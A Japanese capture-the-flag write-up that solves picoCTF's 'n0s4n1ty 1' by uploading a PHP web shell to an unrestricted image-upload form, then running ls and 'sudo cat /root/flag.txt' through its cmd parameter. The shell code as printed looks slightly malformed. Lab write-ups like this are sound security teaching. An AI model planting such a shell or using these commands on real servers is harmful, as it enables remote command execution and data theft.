今回の問題
picoCTFより"n0s4n1ty 1"を解いていきます。
実際に解いていく
1. 問題文にあるWebサイトに移動する
このWebサイトは、好きな画像をアップロードすることができるWebサイトみたいです。
2. Webサイトを探索する
はじめに、ファイルを選択をクリックして、アップロードしたい画像を選びます。その後、Upload Profileをクリックして、選択した画像をアップロードします。すると、「アップロードできました」という内容とともに、/uploads/<ファイル名>というパスが表示されています。そこにアクセスすると、アップロードしたファイルが確認できます。以上が、このWebサイトの一連の流れでした。
3. どんなファイルがアップロードできるか試す
アップロードするファイルの拡張子に指定はあるのでしょうか?つまり、jpgファイルだけでなくtxtファイルやphpファイルなどの種類のファイルもアップロードすることができるのか?どんな種類のファイルをアップロードすることができるのかを試してみます。
まずは、hello.txtという適当なテキストファイルをアップロードしてみます。
hello
結果は、無事にアップロードすることができました!表示されたパスにアクセスして本当にアップロードできているのかを確認します。

うん。アップロードできていますね。
次にPHPファイルをアップロードしてみます。
<?php phpinfo(); ?>
こちらも、無事にアップロードすることができました!表示されたパスにアクセスすると、PHPに関する情報が表示されています。

この結果がとても重要です。info.phpをアップロードしてパスにアクセスすると、info.phpで指示した内容が表示されています。よって、PHPファイルが実行されたということがわかります。
以上より、このWebサイトには「サーバーがアップロードされたPHPファイルをWebサーバーの機能として実行してしまっている」という脆弱性があることがわかります。この脆弱性を使って、FLAGを獲得していきましょう。
4. Webシェルを使ってFLAGを探す
以下の攻撃用プログラムを作成します。
<?
php system($_GET['cmd']);
?>
そして、問題のWebサイトにアップロードします。アップロード後、/uploads/shell.phpというパスが手に入ります。そしたら、FLAGの書かれたファイルを探していきます。[サイトのURL]/uploads/shell.php?cmd=ls -laのように、cmd=の後ろを変えることで、サーバーへの指示を変えることが可能です
5. FLAGを獲得
FLAGは一体どこにあるのでしょうか?先ほどのshell.phpをアップロード後の、URLの後ろ(cmd=)を以下のように変えながら、FLAGを探していきます。
-
ls -la: 現在のディレクトリ→FLAGなし -
ls -la ..: 一つ上の階層のディレクトリ→FLAGなし -
ls -la .. ..: さらに上の階層のディレクトリ→FLAGなし -
ls -la /: ルートディレクトリ(システムの最上階層)→FLAGなし -
ls -la /root: rootという特別な管理者ユーザー専用のディレクトリ→FLAGなし -
sudo ls -la /root: sudoを使って、管理者権限に昇格する→FLAGの書かれていそうなファイルを発見!
flag.txt は、/root ディレクトリに sudo で入ることで見つけることができました。次に、cmd= の後ろを以下のように変えて、flag.txt の中身を見てみます。
sudo cat /root/flag.txt
ということで、flag.txt 中に書かれたFLAGを獲得することができました!
まとめ
今回の問題は、phpファイル をアップロードして、以下のような流れでFLAGを獲得することができました。
-
ユーザー → サーバーへの「リクエスト」
ユーザーがブラウザで.../shell.php?cmd=ls -la /というURLにアクセスすると、ユーザーのブラウザはWebサーバーに「/uploads/shell.phpというプログラムを実行してください。その際、cmdというパラメータにls -la /という値を渡してください」というリクエストを送信する。 -
サーバー内部での処理
リクエストを受け取ったサーバーは、ユーザーがアップロードしたshell.phpを起動する。プログラムの中のsystem($_GET['cmd']);というコードが、受け取ったls -la /をOSに渡し、「このコマンドを実行してください」と命令する。 -
サーバー → ユーザーへの「レスポンス」
OSがコマンドを実行した結果(この場合はルートディレクトリの一覧)を、shell.phpが受け取る。そして、Webサーバーはその結果を、ユーザーのブラウザにレスポンスとして送り返す。 -
結果の表示
返事を受け取ったブラウザは、その内容(ディレクトリ一覧のテキスト)を画面に表示する。
補足
・なし








